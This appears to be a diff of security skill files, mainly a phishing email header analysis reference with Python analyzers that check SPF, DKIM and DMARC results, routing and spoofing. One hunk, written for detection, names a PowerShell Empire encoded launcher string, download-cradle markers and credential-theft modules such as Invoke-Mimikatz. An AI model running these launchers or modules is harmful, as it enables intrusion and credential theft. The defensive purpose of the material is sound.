# API Reference: Phishing Email Header Analysis
## Python email Module
### Parsing Email Files
```python
import email
with open("message.eml", "r") as f:
msg = email.message_from_string(f.read())
print(msg["From"])
print(msg["Subject"])
print(msg.get_all("Received"))
print(msg["Authentication-Results"])
```
### Extracting Body
```python
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() == "text/html":
body = part.get_payload(decode=True).decode()
```
## Key Email Headers for Forensics
| Header | Purpose |
|--------|---------|
| `Received` | Mail server routing chain (bottom = origin) |
| `From` | Claimed sender (can be spoofed) |
| `Return-Path` | Envelope sender for bounces |
| `Reply-To` | Where replies go (phishing: often different from From) |
| `Authentication-Results` | SPF/DKIM/DMARC verdicts |
| `Received-SPF` | SPF check result |
| `DKIM-Signature` | DKIM cryptographic signature |
| `X-Mailer` | Sending software |
| `Message-ID` | Unique message identifier |
| `X-Originating-IP` | Original sender IP |
## Authentication Checks
### SPF Status Values
| Value | Meaning |
|-------|---------|
| `pass` | Sender IP authorized |
| `fail` | Sender IP not authorized |
| `softfail` | Not authorized but not rejected |
| `neutral` | No SPF policy for domain |
| `none` | No SPF record exists |
### DKIM Verification
```bash
opendkim-testmsg < message.eml
# Or in Authentication-Results: dkim=pass header.d=example.com
```
### DMARC Policy Check
```bash
dig _dmarc.example.com TXT
# v=DMARC1; p=reject; rua=mailto:dmarc@example.com
```
## Phishing Detection Indicators
| Indicator | Severity | Description |
|-----------|----------|-------------|
| SPF fail | HIGH | Sender IP not in domain's SPF record |
| Reply-To mismatch | HIGH | Reply-To different from From address |
| Email in display name | HIGH | Display name contains email address |
| IP-based URL | HIGH | Links point to raw IP addresses |
| Urgency keywords | MEDIUM | Subject contains "urgent", "action required" |
| URL shortener | MEDIUM | Links use bit.ly, tinyurl, etc. |
| New domain | MEDIUM | Sending domain registered recently |
| PHPMailer X-Mailer | MEDIUM | Bulk mailer software |
## msgconvert (Perl)
### Convert MSG to EML
```bash
msgconvert message.msg # Outputs message.eml
msgconvert --outfile out.eml msg.msg # Specify output
```
## emlAnalyzer (Python)
### Installation and Usage
```bash
pip install eml-analyzer
emlAnalyzer -i message.eml --header --html --attachments
```
@@ -1,42 +0,0 @@
# Standards & References: Analyzing Phishing Email Headers
## RFC Standards
- **RFC 5321 (SMTP)**: Simple Mail Transfer Protocol - defines how email is transmitted and the structure of Received headers
- **RFC 5322 (Internet Message Format)**: Defines the syntax of email header fields including From, To, Date, Message-ID
- **RFC 7208 (SPF)**: Sender Policy Framework - mechanism for validating email sender IP against domain policy
- **RFC 6376 (DKIM)**: DomainKeys Identified Mail - cryptographic authentication of email messages
- **RFC 7489 (DMARC)**: Domain-based Message Authentication, Reporting and Conformance
- **RFC 8601 (Authentication-Results)**: Message Header Field for Indicating Message Authentication Status
## NIST Guidelines
- **NIST SP 800-177 Rev.1**: Trustworthy Email - comprehensive guide to email security including header authentication
- **NIST SP 800-45 Ver.2**: Guidelines on Electronic Mail Security
## MITRE ATT&CK References
- **T1566.001**: Phishing: Spearphishing Attachment
- **T1566.002**: Phishing: Spearphishing Link
- **T1566.003**: Phishing: Spearphishing via Service
- **T1534**: Internal Spearphishing
## Industry Standards
- **M3AAWG Best Practices**: Messaging, Malware and Mobile Anti-Abuse Working Group email authentication recommendations
- **DMARC.org**: Industry consortium for DMARC deployment guidance
- **Anti-Phishing Working Group (APWG)**: Phishing Activity Trends Reports
## Key Header Fields Reference
| Header Field | RFC | Purpose |
|---|---|---|
| Received | RFC 5321 | Records each SMTP hop |
| From | RFC 5322 | Display sender address |
| Return-Path | RFC 5321 | Envelope sender (bounce address) |
| Authentication-Results | RFC 8601 | SPF/DKIM/DMARC results |
| DKIM-Signature | RFC 6376 | Cryptographic signature |
| Message-ID | RFC 5322 | Unique message identifier |
| X-Originating-IP | Non-standard | Sender's IP (provider-specific) |
| X-Mailer | Non-standard | Email client identification |
## Compliance Frameworks
- **PCI DSS 4.0**: Requirement 5 - Protect All Systems and Networks from Malicious Software
- **ISO 27001:2022**: A.8.23 - Web filtering; A.5.14 - Information transfer
- **SOC 2**: CC6.1 - Logical and Physical Access Controls
@@ -1,89 +0,0 @@
# Workflows: Analyzing Phishing Email Headers
## Workflow 1: Rapid Header Triage
```
START: Suspicious email reported
|
v
[Extract raw headers from email client]
|
v
[Check Authentication-Results header]
|
+-- SPF=pass, DKIM=pass, DMARC=pass --> Lower suspicion, check content
|
+-- Any FAIL --> High suspicion
|
v
[Compare From vs Return-Path vs Reply-To]
|
+-- All match --> Check Received chain
+-- Mismatch --> LIKELY PHISHING - escalate
|
v
[Document findings, block sender, alert SOC]
```
## Workflow 2: Full Header Forensic Analysis
### Phase 1: Collection
1. Obtain raw email source (.eml file or copy full headers)
2. Preserve original message with headers as evidence
3. Calculate hash of original .eml file for chain of custody
### Phase 2: Authentication Analysis
1. Extract SPF result from Authentication-Results
2. Verify SPF by querying sender domain's TXT record: `dig TXT _spf.example.com`
3. Extract DKIM result and verify signature domain
4. Check DMARC alignment (identifier alignment between SPF/DKIM and From domain)
5. Document all authentication pass/fail results
### Phase 3: Route Analysis
1. Parse all Received headers (bottom to top)
2. For each hop:
- Extract server hostname and IP
- Note timestamp
- Calculate time delta between hops
3. Flag any:
- Unexpected relay servers
- Geographic anomalies (IP in unexpected country)
- Excessive delays (possible queuing for mass send)
- Internal-only hostnames appearing in external mail
### Phase 4: Sender Investigation
1. WHOIS lookup on sending domain
- Domain age < 30 days = high risk
- Registrar known for abuse = medium risk
2. Reverse DNS on originating IP
3. AbuseIPDB / VirusTotal lookup on originating IP
4. Check if sending domain appears in known phishing feeds
### Phase 5: Indicator Extraction
1. Extract all URLs from message body and headers
2. Extract all IP addresses from Received chain
3. Extract domain names from all relevant fields
4. Create IOC list for threat intelligence platform
## Workflow 3: Automated Pipeline
```
Email received --> MTA logs header -->
SIEM ingestion -->
Automated header parsing -->
Authentication check -->
IF fail: Create alert + enrich with TI -->
SOC analyst review -->
Confirm/dismiss -->
IF confirmed: Block + hunt similar
```
## Decision Matrix
| Authentication | Route | Sender Rep | Action |
|---|---|---|---|
| All Pass | Normal | Good | Deliver normally |
| SPF Fail | Normal | Good | Quarantine, investigate |
| DKIM Fail | Normal | Unknown | Quarantine, investigate |
| DMARC Fail | Anomalous | Bad | Block, create IOC |
| All Fail | Anomalous | Bad | Block, escalate, hunt |
@@ -1,213 +0,0 @@
#!/usr/bin/env python3
"""Phishing email header analysis agent.
Parses email headers to detect spoofing, authentication failures,
suspicious routing, and phishing indicators.
"""
import os
import sys
import re
import email
import email.utils
def parse_email_file(filepath):
with open(filepath, "r", encoding="utf-8", errors="replace") as f:
return email.message_from_string(f.read())
def extract_received_chain(msg):
chain = []
for header in msg.get_all("Received", []):
entry = {"raw": header.strip()[:300]}
from_match = re.search(r"from\s+([\w.-]+)", header)
by_match = re.search(r"by\s+([\w.-]+)", header)
ip_match = re.search(r"\[(\d+\.\d+\.\d+\.\d+)\]", header)
date_match = re.search(r";\s*(.+)$", header)
if from_match:
entry["from_host"] = from_match.group(1)
if by_match:
entry["by_host"] = by_match.group(1)
if ip_match:
entry["ip"] = ip_match.group(1)
if date_match:
entry["date"] = date_match.group(1).strip()[:60]
chain.append(entry)
return chain
def check_spf(msg):
spf_headers = msg.get_all("Received-SPF", [])
auth_results = msg.get("Authentication-Results", "")
result = {"status": "none", "details": ""}
for h in spf_headers:
h_lower = h.lower()
if "pass" in h_lower:
result = {"status": "pass", "details": h[:200]}
elif "fail" in h_lower or "softfail" in h_lower:
result = {"status": "fail", "details": h[:200]}
elif "neutral" in h_lower:
result = {"status": "neutral", "details": h[:200]}
if "spf=" in auth_results.lower():
spf_match = re.search(r"spf=(\w+)", auth_results, re.IGNORECASE)
if spf_match:
result["auth_result_spf"] = spf_match.group(1)
return result
def check_dkim(msg):
auth_results = msg.get("Authentication-Results", "")
dkim_sig = msg.get("DKIM-Signature", "")
result = {"status": "none", "domain": ""}
if "dkim=" in auth_results.lower():
dkim_match = re.search(r"dkim=(\w+)", auth_results, re.IGNORECASE)
if dkim_match:
result["status"] = dkim_match.group(1)
if dkim_sig:
d_match = re.search(r"d=([\w.-]+)", dkim_sig)
if d_match:
result["domain"] = d_match.group(1)
return result
def check_dmarc(msg):
auth_results = msg.get("Authentication-Results", "")
result = {"status": "none"}
if "dmarc=" in auth_results.lower():
dmarc_match = re.search(r"dmarc=(\w+)", auth_results, re.IGNORECASE)
if dmarc_match:
result["status"] = dmarc_match.group(1)
return result
def extract_urls(msg):
urls = set()
body = ""
if msg.is_multipart():
for part in msg.walk():
ct = part.get_content_type()
if ct in ("text/plain", "text/html"):
payload = part.get_payload(decode=True)
if payload:
body += payload.decode("utf-8", errors="replace")
else:
payload = msg.get_payload(decode=True)
if payload:
body = payload.decode("utf-8", errors="replace")
urls.update(re.findall(r"https?://[^\s<>\"')\]]+", body))
href_urls = re.findall(r'href=["\']([^"\']+)["\']', body)
urls.update(u for u in href_urls if u.startswith("http"))
return sorted(urls)
def detect_display_name_spoofing(msg):
from_header = msg.get("From", "")
reply_to = msg.get("Reply-To", "")
findings = []
name, addr = email.utils.parseaddr(from_header)
if name and addr:
if re.search(r"@", name):
findings.append({
"type": "email_in_display_name",
"detail": f"Display name contains email: {name}",
})
if reply_to:
_, reply_addr = email.utils.parseaddr(reply_to)
if reply_addr and addr and reply_addr.lower() != addr.lower():
findings.append({
"type": "reply_to_mismatch",
"detail": f"From: {addr} vs Reply-To: {reply_addr}",
})
return findings
def detect_phishing_indicators(msg, urls):
indicators = []
subject = msg.get("Subject", "").lower()
urgency = ["urgent", "immediate", "action required", "suspended",
"verify", "expires today", "click here", "limited time"]
for word in urgency:
if word in subject:
indicators.append({
"type": "urgency_subject", "keyword": word, "severity": "MEDIUM",
})
break
for url in urls:
if re.search(r"https?://\d+\.\d+\.\d+\.\d+", url):
indicators.append({
"type": "ip_url", "url": url[:100], "severity": "HIGH",
})
if len(url) > 200:
indicators.append({
"type": "long_url", "url_length": len(url), "severity": "MEDIUM",
})
x_mailer = msg.get("X-Mailer", "")
if x_mailer and any(s in x_mailer.lower() for s in ["phpmailer", "swiftmailer"]):
indicators.append({
"type": "suspicious_mailer", "mailer": x_mailer, "severity": "MEDIUM",
})
return indicators
def generate_report(filepath, msg):
received = extract_received_chain(msg)
spf = check_spf(msg)
dkim = check_dkim(msg)
dmarc = check_dmarc(msg)
urls = extract_urls(msg)
spoofing = detect_display_name_spoofing(msg)
phishing = detect_phishing_indicators(msg, urls)
return {
"file": filepath,
"subject": msg.get("Subject", ""),
"from": msg.get("From", ""),
"to": msg.get("To", ""),
"date": msg.get("Date", ""),
"message_id": msg.get("Message-ID", ""),
"received_hops": len(received),
"received_chain": received,
"authentication": {"spf": spf, "dkim": dkim, "dmarc": dmarc},
"urls_found": len(urls),
"urls": urls[:20],
"spoofing_indicators": spoofing,
"phishing_indicators": phishing,
"verdict": "SUSPICIOUS" if (phishing or spoofing or
spf.get("status") == "fail") else "CLEAN",
}
if __name__ == "__main__":
print("=" * 60)
print("Phishing Email Header Analysis Agent")
print("SPF/DKIM/DMARC, spoofing detection, URL extraction")
print("=" * 60)
target = sys.argv[1] if len(sys.argv) > 1 else None
if not target or not os.path.exists(target):
print("\n[DEMO] Usage: python agent.py <email.eml>")
sys.exit(0)
msg = parse_email_file(target)
report = generate_report(target, msg)
print(f"\n[*] Subject: {report['subject']}")
print(f"[*] From: {report['from']}")
print(f"[*] Date: {report['date']}")
print(f"[*] Received hops: {report['received_hops']}")
auth = report["authentication"]
print(f"\n--- Authentication ---")
print(f" SPF: {auth['spf']['status']}")
print(f" DKIM: {auth['dkim']['status']}")
print(f" DMARC: {auth['dmarc']['status']}")
print(f"\n--- URLs ({report['urls_found']}) ---")
for u in report["urls"][:5]:
print(f" {u[:80]}")
print(f"\n--- Indicators ---")
for i in report["phishing_indicators"] + report["spoofing_indicators"]:
print(f" [{i.get('severity','INFO')}] {i['type']}: {i.get('detail', i.get('keyword', ''))}")
print(f"\n[*] Verdict: {report['verdict']}")
@@ -1,566 +0,0 @@
#!/usr/bin/env python3
"""
Phishing Email Header Analyzer
Parses raw email headers to extract authentication results, routing information,
and phishing indicators. Performs IP geolocation, domain age checks, and
generates a risk assessment report.
Usage:
python process.py --file email_headers.txt
python process.py --eml suspicious_email.eml
python process.py --stdin < headers.txt
"""
import argparse
import email
import re
import json
import sys
import socket
import hashlib
from datetime import datetime, timezone
from email import policy
from email.parser import HeaderParser, BytesParser
from pathlib import Path
from typing import Optional
from dataclasses import dataclass, field, asdict
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
@dataclass
class ReceivedHop:
"""Represents a single hop in the email routing chain."""
server_from: str = ""
server_by: str = ""
ip_address: str = ""
timestamp: str = ""
protocol: str = ""
hop_number: int = 0
geo_location: str = ""
reverse_dns: str = ""
@dataclass
class AuthenticationResult:
"""Email authentication check results."""
spf: str = "none"
spf_domain: str = ""
dkim: str = "none"
dkim_domain: str = ""
dmarc: str = "none"
dmarc_domain: str = ""
compauth: str = ""
@dataclass
class PhishingIndicator:
"""A single phishing indicator found in headers."""
category: str = ""
description: str = ""
severity: str = "low" # low, medium, high, critical
raw_value: str = ""
@dataclass
class HeaderAnalysis:
"""Complete header analysis results."""
message_id: str = ""
from_address: str = ""
from_domain: str = ""
return_path: str = ""
return_path_domain: str = ""
reply_to: str = ""
reply_to_domain: str = ""
subject: str = ""
date: str = ""
x_originating_ip: str = ""
x_mailer: str = ""
received_hops: list = field(default_factory=list)
authentication: AuthenticationResult = field(default_factory=AuthenticationResult)
indicators: list = field(default_factory=list)
risk_score: int = 0
risk_level: str = "unknown"
urls_in_headers: list = field(default_factory=list)
file_hash: str = ""
def extract_ip_from_received(received_value: str) -> str:
"""Extract IP address from a Received header value."""
ip_patterns = [
r'\[(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\]',
r'\((\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\)',
r'from\s+\S+\s+\(.*?(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})',
]
for pattern in ip_patterns:
match = re.search(pattern, received_value)
if match:
ip = match.group(1)
if not ip.startswith(('10.', '172.16.', '172.17.', '172.18.',
'172.19.', '172.2', '172.30.', '172.31.',
'192.168.', '127.')):
return ip
return ""
def extract_domain(email_address: str) -> str:
"""Extract domain from an email address."""
if not email_address:
return ""
match = re.search(r'@([\w.-]+)', email_address)
return match.group(1).lower() if match else ""
def parse_received_header(received_value: str, hop_num: int) -> ReceivedHop:
"""Parse a single Received header into structured data."""
hop = ReceivedHop(hop_number=hop_num)
from_match = re.search(r'from\s+([\w.\-]+)', received_value, re.IGNORECASE)
if from_match:
hop.server_from = from_match.group(1)
by_match = re.search(r'by\s+([\w.\-]+)', received_value, re.IGNORECASE)
if by_match:
hop.server_by = by_match.group(1)
hop.ip_address = extract_ip_from_received(received_value)
date_match = re.search(r';\s*(.+)$', received_value)
if date_match:
hop.timestamp = date_match.group(1).strip()
proto_match = re.search(r'with\s+(ESMTP[SA]*|SMTP[SA]*|HTTP[S]?|LMTP)',
received_value, re.IGNORECASE)
if proto_match:
hop.protocol = proto_match.group(1).upper()
return hop
def parse_authentication_results(auth_header: str) -> AuthenticationResult:
"""Parse Authentication-Results header."""
result = AuthenticationResult()
spf_match = re.search(r'spf=(pass|fail|softfail|neutral|none|temperror|permerror)',
auth_header, re.IGNORECASE)
if spf_match:
result.spf = spf_match.group(1).lower()
spf_domain_match = re.search(r'smtp\.mailfrom=([\w.\-@]+)', auth_header, re.IGNORECASE)
if spf_domain_match:
result.spf_domain = spf_domain_match.group(1)
dkim_match = re.search(r'dkim=(pass|fail|none|neutral|temperror|permerror)',
auth_header, re.IGNORECASE)
if dkim_match:
result.dkim = dkim_match.group(1).lower()
dkim_domain_match = re.search(r'header\.[di]=([\w.\-]+)', auth_header, re.IGNORECASE)
if dkim_domain_match:
result.dkim_domain = dkim_domain_match.group(1)
dmarc_match = re.search(r'dmarc=(pass|fail|none|bestguesspass|temperror|permerror)',
auth_header, re.IGNORECASE)
if dmarc_match:
result.dmarc = dmarc_match.group(1).lower()
dmarc_domain_match = re.search(r'header\.from=([\w.\-]+)', auth_header, re.IGNORECASE)
if dmarc_domain_match:
result.dmarc_domain = dmarc_domain_match.group(1)
compauth_match = re.search(r'compauth=(\w+)', auth_header, re.IGNORECASE)
if compauth_match:
result.compauth = compauth_match.group(1)
return result
def geolocate_ip(ip_address: str) -> str:
"""Geolocate an IP address using ip-api.com (free, no key required)."""
if not HAS_REQUESTS or not ip_address:
return "unknown"
try:
resp = requests.get(f"http://ip-api.com/json/{ip_address}",
timeout=5,
params={"fields": "country,city,org,status"})
if resp.status_code == 200:
data = resp.json()
if data.get("status") == "success":
return f"{data.get('city', '')}, {data.get('country', '')} ({data.get('org', '')})"
except Exception:
pass
return "unknown"
def reverse_dns_lookup(ip_address: str) -> str:
"""Perform reverse DNS lookup on an IP address."""
if not ip_address:
return ""
try:
hostname = socket.gethostbyaddr(ip_address)
return hostname[0]
except (socket.herror, socket.gaierror, OSError):
return ""
def check_abuseipdb(ip_address: str, api_key: str = "") -> dict:
"""Check IP against AbuseIPDB (requires API key)."""
if not HAS_REQUESTS or not api_key or not ip_address:
return {}
try:
headers = {"Key": api_key, "Accept": "application/json"}
params = {"ipAddress": ip_address, "maxAgeInDays": "90"}
resp = requests.get("https://api.abuseipdb.com/api/v2/check",
headers=headers, params=params, timeout=10)
if resp.status_code == 200:
return resp.json().get("data", {})
except Exception:
pass
return {}
def analyze_indicators(analysis: HeaderAnalysis) -> list:
"""Detect phishing indicators from parsed header data."""
indicators = []
# Check From vs Return-Path mismatch
if (analysis.from_domain and analysis.return_path_domain and
analysis.from_domain != analysis.return_path_domain):
indicators.append(PhishingIndicator(
category="sender_mismatch",
description=f"From domain ({analysis.from_domain}) differs from "
f"Return-Path domain ({analysis.return_path_domain})",
severity="high",
raw_value=f"From: {analysis.from_domain}, Return-Path: {analysis.return_path_domain}"
))
# Check From vs Reply-To mismatch
if (analysis.from_domain and analysis.reply_to_domain and
analysis.from_domain != analysis.reply_to_domain):
indicators.append(PhishingIndicator(
category="reply_to_mismatch",
description=f"From domain ({analysis.from_domain}) differs from "
f"Reply-To domain ({analysis.reply_to_domain})",
severity="high",
raw_value=f"From: {analysis.from_domain}, Reply-To: {analysis.reply_to_domain}"
))
# Check SPF failure
if analysis.authentication.spf in ("fail", "softfail"):
indicators.append(PhishingIndicator(
category="authentication_failure",
description=f"SPF check returned {analysis.authentication.spf}",
severity="high" if analysis.authentication.spf == "fail" else "medium",
raw_value=f"spf={analysis.authentication.spf}"
))
# Check DKIM failure
if analysis.authentication.dkim == "fail":
indicators.append(PhishingIndicator(
category="authentication_failure",
description="DKIM signature verification failed",
severity="high",
raw_value="dkim=fail"
))
# Check DMARC failure
if analysis.authentication.dmarc == "fail":
indicators.append(PhishingIndicator(
category="authentication_failure",
description="DMARC policy check failed",
severity="critical",
raw_value="dmarc=fail"
))
# Check for missing Message-ID
if not analysis.message_id:
indicators.append(PhishingIndicator(
category="missing_header",
description="Message-ID header is missing",
severity="medium",
raw_value=""
))
# Check for suspicious X-Mailer
suspicious_mailers = [
"PHPMailer", "King Phisher", "GoPhish", "Swaks",
"Sendinblue", "Mass Mailer", "Bulk Mailer"
]
if analysis.x_mailer:
for mailer in suspicious_mailers:
if mailer.lower() in analysis.x_mailer.lower():
indicators.append(PhishingIndicator(
category="suspicious_mailer",
description=f"Suspicious X-Mailer detected: {analysis.x_mailer}",
severity="high",
raw_value=analysis.x_mailer
))
break
# Check for too few received hops (direct injection)
if len(analysis.received_hops) <= 1:
indicators.append(PhishingIndicator(
category="routing_anomaly",
description="Very few Received hops - possible direct SMTP injection",
severity="medium",
raw_value=f"Hop count: {len(analysis.received_hops)}"
))
# Check for missing authentication results
auth = analysis.authentication
if auth.spf == "none" and auth.dkim == "none" and auth.dmarc == "none":
indicators.append(PhishingIndicator(
category="no_authentication",
description="No email authentication results found (SPF, DKIM, DMARC all absent)",
severity="high",
raw_value=""
))
return indicators
def calculate_risk_score(indicators: list) -> tuple:
"""Calculate risk score from indicators. Returns (score, level)."""
severity_weights = {"critical": 30, "high": 20, "medium": 10, "low": 5}
score = 0
for indicator in indicators:
score += severity_weights.get(indicator.severity, 0)
score = min(score, 100)
if score >= 70:
level = "CRITICAL"
elif score >= 50:
level = "HIGH"
elif score >= 30:
level = "MEDIUM"
elif score >= 10:
level = "LOW"
else:
level = "CLEAN"
return score, level
def analyze_headers(raw_headers: str, enrich: bool = False,
abuseipdb_key: str = "") -> HeaderAnalysis:
"""
Main analysis function. Parses raw email headers and produces
a complete HeaderAnalysis report.
"""
analysis = HeaderAnalysis()
# Calculate hash of raw input for evidence tracking
analysis.file_hash = hashlib.sha256(raw_headers.encode()).hexdigest()
# Parse using Python's email library
parser = HeaderParser()
msg = parser.parsestr(raw_headers)
# Extract basic fields
analysis.from_address = msg.get("From", "")
analysis.from_domain = extract_domain(analysis.from_address)
analysis.return_path = msg.get("Return-Path", "")
analysis.return_path_domain = extract_domain(analysis.return_path)
analysis.reply_to = msg.get("Reply-To", "")
analysis.reply_to_domain = extract_domain(analysis.reply_to)
analysis.message_id = msg.get("Message-ID", "")
analysis.subject = msg.get("Subject", "")
analysis.date = msg.get("Date", "")
analysis.x_mailer = msg.get("X-Mailer", "") or msg.get("User-Agent", "")
# Extract X-Originating-IP
x_orig = msg.get("X-Originating-IP", "")
if x_orig:
ip_match = re.search(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', x_orig)
if ip_match:
analysis.x_originating_ip = ip_match.group(1)
# Parse Received headers (they appear in reverse order)
received_headers = msg.get_all("Received", [])
for i, received in enumerate(received_headers):
hop = parse_received_header(received, len(received_headers) - i)
if enrich and hop.ip_address:
hop.geo_location = geolocate_ip(hop.ip_address)
hop.reverse_dns = reverse_dns_lookup(hop.ip_address)
analysis.received_hops.append(hop)
# Reverse to chronological order (first hop first)
analysis.received_hops.reverse()
# Parse Authentication-Results
auth_results = msg.get("Authentication-Results", "")
if auth_results:
analysis.authentication = parse_authentication_results(auth_results)
# Also check ARC-Authentication-Results
arc_auth = msg.get("ARC-Authentication-Results", "")
if arc_auth and analysis.authentication.spf == "none":
analysis.authentication = parse_authentication_results(arc_auth)
# Extract URLs from headers
url_pattern = r'https?://[^\s<>"\')\]>]+'
all_header_text = raw_headers
analysis.urls_in_headers = list(set(re.findall(url_pattern, all_header_text)))
# Detect phishing indicators
analysis.indicators = analyze_indicators(analysis)
# Calculate risk score
analysis.risk_score, analysis.risk_level = calculate_risk_score(analysis.indicators)
# Enrich with threat intelligence if requested
if enrich and analysis.x_originating_ip and abuseipdb_key:
abuse_data = check_abuseipdb(analysis.x_originating_ip, abuseipdb_key)
if abuse_data and abuse_data.get("abuseConfidenceScore", 0) > 50:
analysis.indicators.append(PhishingIndicator(
category="threat_intelligence",
description=f"IP {analysis.x_originating_ip} has abuse confidence "
f"score of {abuse_data['abuseConfidenceScore']}%",
severity="critical",
raw_value=json.dumps(abuse_data)
))
# Recalculate risk
analysis.risk_score, analysis.risk_level = calculate_risk_score(analysis.indicators)
return analysis
def format_report(analysis: HeaderAnalysis) -> str:
"""Format analysis results as a human-readable report."""
lines = []
lines.append("=" * 70)
lines.append(" PHISHING EMAIL HEADER ANALYSIS REPORT")
lines.append("=" * 70)
lines.append(f" Generated: {datetime.now(timezone.utc).isoformat()}")
lines.append(f" Evidence Hash: {analysis.file_hash[:16]}...")
lines.append("")
# Risk Assessment
lines.append(f" RISK LEVEL: {analysis.risk_level} (Score: {analysis.risk_score}/100)")
lines.append("-" * 70)
# Sender Information
lines.append("\n[SENDER INFORMATION]")
lines.append(f" From: {analysis.from_address}")
lines.append(f" Return-Path: {analysis.return_path}")
lines.append(f" Reply-To: {analysis.reply_to}")
lines.append(f" Subject: {analysis.subject}")
lines.append(f" Date: {analysis.date}")
lines.append(f" Message-ID: {analysis.message_id}")
lines.append(f" X-Mailer: {analysis.x_mailer}")
if analysis.x_originating_ip:
lines.append(f" Origin IP: {analysis.x_originating_ip}")
# Authentication Results
lines.append("\n[AUTHENTICATION RESULTS]")
auth = analysis.authentication
spf_icon = "PASS" if auth.spf == "pass" else "FAIL" if auth.spf in ("fail", "softfail") else "NONE"
dkim_icon = "PASS" if auth.dkim == "pass" else "FAIL" if auth.dkim == "fail" else "NONE"
dmarc_icon = "PASS" if auth.dmarc == "pass" else "FAIL" if auth.dmarc == "fail" else "NONE"
lines.append(f" SPF: {spf_icon} ({auth.spf}) domain={auth.spf_domain}")
lines.append(f" DKIM: {dkim_icon} ({auth.dkim}) domain={auth.dkim_domain}")
lines.append(f" DMARC: {dmarc_icon} ({auth.dmarc}) domain={auth.dmarc_domain}")
# Routing Path
lines.append(f"\n[ROUTING PATH] ({len(analysis.received_hops)} hops)")
for hop in analysis.received_hops:
lines.append(f" Hop {hop.hop_number}: {hop.server_from} -> {hop.server_by}")
if hop.ip_address:
lines.append(f" IP: {hop.ip_address}")
if hop.geo_location and hop.geo_location != "unknown":
lines.append(f" Location: {hop.geo_location}")
if hop.protocol:
lines.append(f" Protocol: {hop.protocol}")
if hop.timestamp:
lines.append(f" Time: {hop.timestamp}")
# Phishing Indicators
if analysis.indicators:
lines.append(f"\n[PHISHING INDICATORS] ({len(analysis.indicators)} found)")
for i, ind in enumerate(analysis.indicators, 1):
lines.append(f" {i}. [{ind.severity.upper()}] {ind.description}")
if ind.raw_value:
lines.append(f" Value: {ind.raw_value}")
else:
lines.append("\n[PHISHING INDICATORS] None detected")
# URLs in Headers
if analysis.urls_in_headers:
lines.append(f"\n[URLS IN HEADERS] ({len(analysis.urls_in_headers)} found)")
for url in analysis.urls_in_headers[:10]:
lines.append(f" - {url}")
lines.append("\n" + "=" * 70)
lines.append(" END OF REPORT")
lines.append("=" * 70)
return "\n".join(lines)
def main():
parser = argparse.ArgumentParser(
description="Analyze email headers for phishing indicators"
)
input_group = parser.add_mutually_exclusive_group(required=True)
input_group.add_argument("--file", "-f", help="Path to file containing raw headers")
input_group.add_argument("--eml", "-e", help="Path to .eml file")
input_group.add_argument("--stdin", action="store_true", help="Read headers from stdin")
parser.add_argument("--enrich", action="store_true",
help="Enrich with IP geolocation and reverse DNS")
parser.add_argument("--abuseipdb-key", default="",
help="AbuseIPDB API key for threat intelligence")
parser.add_argument("--json", action="store_true",
help="Output results as JSON")
parser.add_argument("--output", "-o", help="Write report to file")
args = parser.parse_args()
# Read input
if args.stdin:
raw_headers = sys.stdin.read()
elif args.eml:
with open(args.eml, "rb") as f:
msg = BytesParser(policy=policy.default).parse(f)
raw_headers = str(msg)
else:
with open(args.file, "r", encoding="utf-8", errors="replace") as f:
raw_headers = f.read()
# Analyze
analysis = analyze_headers(
raw_headers,
enrich=args.enrich,
abuseipdb_key=args.abuseipdb_key
)
# Output
if args.json:
output = json.dumps(asdict(analysis), indent=2, default=str)
else:
output = format_report(analysis)
if args.output:
with open(args.output, "w", encoding="utf-8") as f:
f.write(output)
print(f"Report written to {args.output}")
else:
print(output)
# Exit code based on risk
if analysis.risk_level in ("CRITICAL", "HIGH"):
sys.exit(2)
elif analysis.risk_level == "MEDIUM":
sys.exit(1)
else:
sys.exit(0)
if __name__ == "__main__":
main()
@@ -15,6 +15,14 @@ license: Apache-2.0
PowerShell Empire is a post-exploitation framework consisting of listeners, stagers, and agents. Its artifacts leave detectable traces in Windows event logs, particularly PowerShell Script Block Logging (Event ID 4104) and Module Logging (Event ID 4103). This skill analyzes event logs for Empire's default launcher string (`powershell -noP -sta -w 1 -enc`), Base64 encoded payloads containing `System.Net.WebClient` and `FromBase64String`, known module invocations (Invoke-Mimikatz, Invoke-Kerberoast, Invoke-TokenManipulation), and staging URL patterns.
## When to Use
- When investigating security incidents that require analyzing powershell empire artifacts
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Python 3.9+ with access to Windows Event Log or exported EVTX files
@@ -17,6 +17,21 @@ license: Apache-2.0
Extract execution evidence from Amcache.hve including application paths,
SHA-1 hashes, timestamps, and publisher metadata for DFIR investigations.
## When to Use
- When investigating security incidents that require analyzing windows amcache artifacts
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Familiarity with digital forensics concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Example Output
```text
@@ -15,6 +15,21 @@ license: Apache-2.0
Shellbags are Windows registry artifacts that track how users interact with folders through Windows Explorer, storing view settings such as icon size, window position, sort order, and view mode. From a forensic perspective, Shellbags provide definitive evidence of folder access -- even folders that no longer exist on the system. When a user browses to a folder via Windows Explorer, the Open/Save dialog, or the Control Panel, a Shellbag entry is created or updated in the user's registry hive. These entries persist after folder deletion, drive disconnection, and even across user profile resets, making them invaluable for proving that a user navigated to specific directories on local drives, USB devices, network shares, or zip archives.
## When to Use
- When investigating security incidents that require analyzing windows shellbag artifacts
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Familiarity with digital forensics concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Registry Locations
### Windows 7/8/10/11
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
